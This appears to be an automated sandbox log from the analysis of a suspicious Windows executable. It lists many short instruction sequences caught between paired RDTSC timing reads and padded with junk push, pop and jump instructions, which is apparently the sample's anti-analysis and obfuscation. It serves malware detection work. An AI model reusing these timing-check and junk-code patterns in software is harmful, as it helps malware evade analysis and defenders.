Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E88785 second address: E887A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FADBC8905B6h 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E887A6 second address: E887BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FADBDAB6921h 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E89717 second address: E89725 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FADBC8905A6h 0x0000000a pop edx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E8EF83 second address: E8EF8D instructions: 0x00000000 rdtsc 0x00000002 js 00007FADBDAB6916h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E8F0FA second address: E8F0FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E8F0FE second address: E8F10D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 je 00007FADBDAB691Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E9B3F4 second address: E9B3FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: EA0363 second address: EA0369 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: EA0369 second address: EA036F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: EA036F second address: EA0373 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: EA0373 second address: EA038C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FADBC8905AFh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: EA04F3 second address: EA04F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: EA04F7 second address: EA0522 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FADBC8905B9h 0x00000007 js 00007FADBC8905A6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jbe 00007FADBC8905AEh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: EA6D18 second address: EA6D52 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FADBDAB6928h 0x00000007 jmp 00007FADBDAB6924h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jmp 00007FADBDAB691Ah 0x00000013 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: EA6D52 second address: EA6D58 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: EA6D58 second address: EA6D5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: EA6D5E second address: EA6D62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: EA6D62 second address: EA6D66 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: EAE3B3 second address: EAE3E3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FADBC8905B6h 0x00000007 jmp 00007FADBC8905B2h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: EB2173 second address: EB217B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: EB217B second address: EB217F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: EB217F second address: EB2183 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: EB7A87 second address: EB7A8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: EB7A8D second address: EB7A92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: EB7A92 second address: EB7AAB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jg 00007FADBC8905A6h 0x00000009 jp 00007FADBC8905A6h 0x0000000f jp 00007FADBC8905A6h 0x00000015 popad 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: EB63B4 second address: EB63D2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FADBDAB6928h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: EB6557 second address: EB6567 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnp 00007FADBC8905A6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: EB6567 second address: EB656B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: EB656B second address: EB657A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FADBC8905ABh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: EB657A second address: EB6580 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: EB67FC second address: EB683B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FADBC8905B7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jo 00007FADBC8905BFh 0x0000000f jmp 00007FADBC8905B7h 0x00000014 pushad 0x00000015 popad 0x00000016 pushad 0x00000017 pushad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: EB6B19 second address: EB6B27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 popad 0x00000008 push edx 0x00000009 pop edx 0x0000000a popad 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: EB6DBF second address: EB6DC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: EB6DC6 second address: EB6DE0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FADBDAB6924h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: EB6DE0 second address: EB6DE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: EBB423 second address: EBB434 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FADBDAB691Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: EBB434 second address: EBB43E instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FADBC8905A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: EBB0D7 second address: EBB0DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: EC3C99 second address: EC3CA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: DD03AD second address: DD03D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jg 00007FADBDAB6922h 0x0000000b popad 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f jl 00007FADBDAB6916h 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: EC6AD1 second address: EC6ADE instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FADBC8905A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: ECB578 second address: ECB589 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FADBDAB691Dh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: ECDDA4 second address: ECDDBE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FADBC8905B1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push edi 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: ECDDBE second address: ECDDE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a push esi 0x0000000b pop esi 0x0000000c pop ecx 0x0000000d jo 00007FADBDAB6927h 0x00000013 pushad 0x00000014 popad 0x00000015 jmp 00007FADBDAB691Fh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: ECDDE2 second address: ECDDE8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: EDAFA3 second address: EDAFA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: EDAFA7 second address: EDAFB5 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FADBC8905A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b push edx 0x0000000c pop edx 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: EDAFB5 second address: EDAFC8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FADBDAB691Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: EDAFC8 second address: EDAFCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: EEE337 second address: EEE33D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: EEE33D second address: EEE350 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jnl 00007FADBC8905A6h 0x0000000d jg 00007FADBC8905A6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: EEE350 second address: EEE37B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FADBDAB6923h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FADBDAB6922h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: EEE37B second address: EEE384 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: EEE17F second address: EEE1AC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 jmp 00007FADBDAB6920h 0x0000000e pop edi 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FADBDAB6921h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: EEE1AC second address: EEE1B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: EF2B00 second address: EF2B04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: EF19A0 second address: EF19A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: EF1B03 second address: EF1B0F instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FADBDAB6916h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: EF1B0F second address: EF1B32 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FADBC8905BEh 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: EF238B second address: EF23A1 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FADBDAB6916h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jne 00007FADBDAB6916h 0x00000014 push eax 0x00000015 pop eax 0x00000016 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: EF23A1 second address: EF23A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: EF23A5 second address: EF23C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FADBDAB6926h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c pushad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: EF23C6 second address: EF23D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FADBC8905A6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: EF23D5 second address: EF23D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: EF23D9 second address: EF23DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: EF23DD second address: EF23E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: EF23E9 second address: EF23ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: EF23ED second address: EF23F7 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FADBDAB6916h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: EF23F7 second address: EF2404 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edx 0x00000008 pop edx 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: EF26A3 second address: EF26BD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FADBDAB6921h 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: EF598B second address: EF59AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FADBC8905B8h 0x00000009 push eax 0x0000000a push edx 0x0000000b je 00007FADBC8905A6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: EF894D second address: EF89A8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FADBDAB6923h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a nop 0x0000000b add dx, 7DF5h 0x00000010 push dword ptr [ebp+122D2B84h] 0x00000016 jg 00007FADBDAB6922h 0x0000001c push 6B223865h 0x00000021 pushad 0x00000022 jl 00007FADBDAB6918h 0x00000028 push eax 0x00000029 pop eax 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007FADBDAB6925h 0x00000031 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: EF89A8 second address: EF89AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E19AC3 second address: E19AC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 51004F5 second address: 5100515 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop esi 0x00000005 mov ah, bl 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FADBC8905B1h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 5100515 second address: 5100519 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 5100519 second address: 510051F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 510051F second address: 5100536 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop edx 0x00000005 mov ax, 5395h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, ebp 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 mov di, 314Eh 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 5100536 second address: 5100569 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FADBC8905B4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FADBC8905B7h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 513078D second address: 5130793 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 5130793 second address: 51307CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dl, al 0x00000005 mov ax, di 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], ebp 0x0000000e pushad 0x0000000f mov di, 9A4Ah 0x00000013 mov ah, dl 0x00000015 popad 0x00000016 mov ebp, esp 0x00000018 jmp 00007FADBC8905AAh 0x0000001d xchg eax, ecx 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007FADBC8905B7h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 51307CF second address: 5130800 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FADBDAB6929h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d call 00007FADBDAB691Ah 0x00000012 pop ecx 0x00000013 mov dx, CE86h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 5130800 second address: 513083B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FADBC8905ACh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a jmp 00007FADBC8905B0h 0x0000000f xchg eax, esi 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FADBC8905B7h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 513083B second address: 513085F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FADBDAB6929h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 513085F second address: 5130863 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 5130863 second address: 513087D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FADBDAB6926h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 513087D second address: 5130882 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 5130882 second address: 51308D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ecx, edx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a jmp 00007FADBDAB6929h 0x0000000f lea eax, dword ptr [ebp-04h] 0x00000012 jmp 00007FADBDAB691Eh 0x00000017 nop 0x00000018 jmp 00007FADBDAB6920h 0x0000001d push eax 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007FADBDAB691Eh 0x00000025 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 51308D8 second address: 51308EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FADBC8905AEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 51308EA second address: 51308EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 5130926 second address: 5130941 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FADBC8905B7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 5130941 second address: 5130992 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FADBDAB6929h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esi, eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e call 00007FADBDAB6923h 0x00000013 pop ecx 0x00000014 call 00007FADBDAB6929h 0x00000019 pop eax 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 5130992 second address: 51309A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FADBC8905ADh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: 51309D9 second address: 51309DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
